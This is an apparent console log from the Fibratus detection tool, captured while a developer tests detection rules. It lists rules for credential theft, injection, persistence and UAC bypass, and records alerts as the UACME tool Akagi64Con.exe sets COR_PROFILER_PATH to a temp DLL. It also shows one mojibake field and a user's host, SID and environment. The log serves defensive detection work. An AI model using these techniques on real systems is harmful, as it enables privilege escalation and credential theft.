sniff=>false flush-period=>1s] amqp=>[ routing-key=>fibratus vhost=>/ delivery-mode=>transient url=>amqp://localhost:5672 enabled=>false tls-insecure-skip-verify=>false exchange=>fibratus exchange-type=>topic durable=>false timeout=>5s passive=>false]] + pe ............................. [ read-symbols=>false read-sections=>false enabled=>false read-resources=>false excluded-images=>[svchost.exe]] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ rename=>[ enabled=>false] remove=>[ enabled=>false params=>[]] replace=>[ enabled=>false] trim=>[ enabled=>false] tags=>[ enabled=>false]] + yara ........................... [ enabled=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] skip-allocs=>false scan-timeout=>10s skip-registry=>false excluded-files=>[] fastscan=>true skip-mmaps=>false skip-files=>false excluded-procs=>[]] source=bootstrap/bootstrap.go:185 +time=2025-11-25T20:53:18+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-25T20:53:22+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-25T20:53:28+01:00 level=info msg=sending alert: [UAC bypass via .NET Code Profiler DLL Hijack]. Text: |䌀㨀尀唀猀攀爀猀尀渀攀æ€æ¼€å°€ä„€ç€€ç€€ä€æ„€ç€æ„€å°€ä°€æ¼€æŒ€æ„€æ°€å°€å€æ”€æ´€ç€€å°€ç€€æ”€ãŒ€ã €ã˜€â¸€æ€æ°€æ°€| + Event(s): + Seq: 6112195 + Pid: 9072 + Tid: 14928 + Type: RegSetValue + CPU: 6 + Name: RegSetValue + Category: registry + Description: Sets the data for the value of a registry key + Host: archrabbit + Timestamp: 2025-11-25 20:53:23.4238907 +0100 CET + Params: dataâžœ 䌀㨀尀唀猀攀爀猀尀渀攀æ€æ¼€å°€ä„€ç€€ç€€ä€æ„€ç€æ„€å°€ä°€æ¼€æŒ€æ„€æ°€å°€å€æ”€æ´€ç€€å°€ç€€æ”€ãŒ€ã €ã˜€â¸€æ€æ°€æ°€, key_handleâžœ ffffce86368251b0, key_pathâžœ HKEY_CURRENT_USER\Environment\COR_PROFILER_PATH, statusâžœ Success, value_typeâžœ REG_SZ + Metadata: rule.name: UAC bypass via .NET Code Profiler DLL Hijack, tactic.id: TA0004, tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/ + + Pid: 9072 + Ppid: 17776 + Name: Akagi64Con.exe + Cmdline: + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: + SID: + Integrity level: MEDIUM + Username: + Domain: + Args: [] + Session ID: 0 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-25T20:53:31+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-25T20:53:32+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-25T20:58:51+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-25T20:58:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-25T20:58:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-25T20:58:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-25T20:58:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-25T20:58:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-25T20:58:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-25T20:58:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-25T20:58:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-25T20:58:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-25T20:58:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-25T20:58:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-25T20:58:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-25T20:58:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-25T20:58:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-25T20:58:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-25T20:58:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-25T20:58:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-25T20:58:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-25T20:58:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-25T20:58:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-25T20:58:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-25T20:58:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-25T20:58:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-25T20:58:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-25T20:58:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-25T20:58:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-25T20:58:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-25T20:58:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-25T20:58:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-25T20:58:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-25T20:58:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-25T20:58:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-25T20:58:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-25T20:58:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-25T20:58:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-25T20:58:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-25T20:58:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-25T20:58:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-25T20:58:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-25T20:58:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-25T20:58:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-25T20:58:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-25T20:58:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-25T20:58:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-25T20:58:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-25T20:58:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-25T20:58:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-25T20:58:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-25T20:58:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-25T20:58:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-25T20:58:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-25T20:58:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-25T20:58:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-25T20:58:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-25T20:58:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-25T20:58:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-25T20:58:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-25T20:58:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-25T20:58:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-25T20:58:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-25T20:58:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-25T20:58:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-25T20:58:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-25T20:58:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-25T20:58:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-25T20:58:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-25T20:58:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-25T20:58:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-25T20:58:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-25T20:58:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-25T20:58:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-25T20:58:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-25T20:58:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-25T20:58:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-25T20:58:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-25T20:58:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-25T20:58:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-25T20:58:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-25T20:58:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_deadpotato_exploit.yml source=config/filters.go:355 +time=2025-11-25T20:58:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_ifileoperation_abuse.yml source=config/filters.go:355 +time=2025-11-25T20:58:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-25T20:58:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_assembly_native_image_cache_hijack.yml source=config/filters.go:355 +time=2025-11-25T20:58:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_cdssync_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-25T20:58:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler.yml source=config/filters.go:355 +time=2025-11-25T20:58:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml source=config/filters.go:355 +time=2025-11-25T20:58:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dll_hijack_from_windows_media_player_directory.yml source=config/filters.go:355 +time=2025-11-25T20:58:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml source=config/filters.go:355 +time=2025-11-25T20:58:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_icmluautil_com_interface.yml source=config/filters.go:355 +time=2025-11-25T20:58:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-25T20:58:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_program_compatibility_assistant_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-25T20:58:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_requesttrace_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-25T20:58:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_rouge_mmc_snap-in.yml source=config/filters.go:355 +time=2025-11-25T20:58:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_trusted_windows_directory_masquerading.yml source=config/filters.go:355 +time=2025-11-25T20:58:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-25T20:58:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-25T20:58:51+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-25T20:58:51+01:00 level=info msg=bootstrapping with pid 19560. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-25T20:58:51+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ slack=>[ enabled=>false] mail=>[ to=>[] use-template=>true enabled=>false port=>25 content-type=>text/html] eventlog=>[ enabled=>true verbose=>true] systray=>[ quiet-mode=>false sound=>true enabled=>false]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-envs=>true serialize-threads=>false serialize-pe=>false serialize-handles=>false serialize-images=>false] + eventsource .................... [ enable-thread=>true enable-net=>true enable-mem=>false enable-fileio=>true max-buffers=>36 blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-vamap=>true stack-enrichment=>true enable-image=>true buffer-size=>512 enable-threadpool=>false enable-registry=>true enable-dns=>false enable-handle=>false flush-interval=>1s min-buffers=>16 enable-audit-api=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-urls=>[] enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ false + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-size=>100 log-stdout=>true level=>info formatter=>text max-age=>0 max-backups=>15] + output ......................... [ amqp=>[ exchange-type=>topic passive=>false routing-key=>fibratus url=>amqp://localhost:5672 timeout=>5s enabled=>false delivery-mode=>transient durable=>false exchange=>fibratus tls-insecure-skip-verify=>false vhost=>/] elasticsearch=>[ flush-period=>1s sniff=>false healthcheck-interval=>10s enabled=>false template-name=>fibratus bulk-workers=>1 gzip-compression=>false servers=>[http://127.0.0.1:9200] healthcheck-timeout=>5s trace-log=>false index-name=>fibratus healthcheck=>true timeout=>5s] http=>[ enabled=>false tls-insecure-skip-verify=>false timeout=>5s method=>POST enable-gzip=>false serializer=>json endpoints=>[]] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + enabled=>true format=>pretty] eventlog=>[ level=>info enabled=>false]] + pe ............................. [ read-symbols=>false excluded-images=>[svchost.exe] enabled=>false read-resources=>false read-sections=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ replace=>[ enabled=>false] trim=>[ enabled=>false] rename=>[ enabled=>false] remove=>[ enabled=>false params=>[]] tags=>[ enabled=>false]] + yara ........................... [ excluded-files=>[] enabled=>false skip-mmaps=>false excluded-procs=>[] scan-timeout=>10s skip-registry=>false skip-allocs=>false skip-files=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] fastscan=>true] source=bootstrap/bootstrap.go:185 +time=2025-11-25T20:58:52+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-25T20:58:54+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-25T20:59:08+01:00 level=info msg=sending alert: [UAC bypass via .NET Code Profiler DLL Hijack]. Text: |C:\Users\nedo\AppData\Local\Temp\pe386.dll| + Event(s): + Seq: 6135152 + Pid: 14036 + Tid: 17228 + Type: RegSetValue + CPU: 5 + Name: RegSetValue + Category: registry + Description: Sets the data for the value of a registry key + Host: archrabbit + Timestamp: 2025-11-25 20:58:59.9231923 +0100 CET + Params: dataâžœ C:\Users\nedo\AppData\Local\Temp\pe386.dll, key_handleâžœ ffffce8644bab890, key_pathâžœ HKEY_CURRENT_USER\Environment\COR_PROFILER_PATH, statusâžœ Success, value_typeâžœ REG_SZ + Metadata: tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/, rule.name: UAC bypass via .NET Code Profiler DLL Hijack, tactic.id: TA0004 + + Pid: 14036 + Ppid: 17776 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files 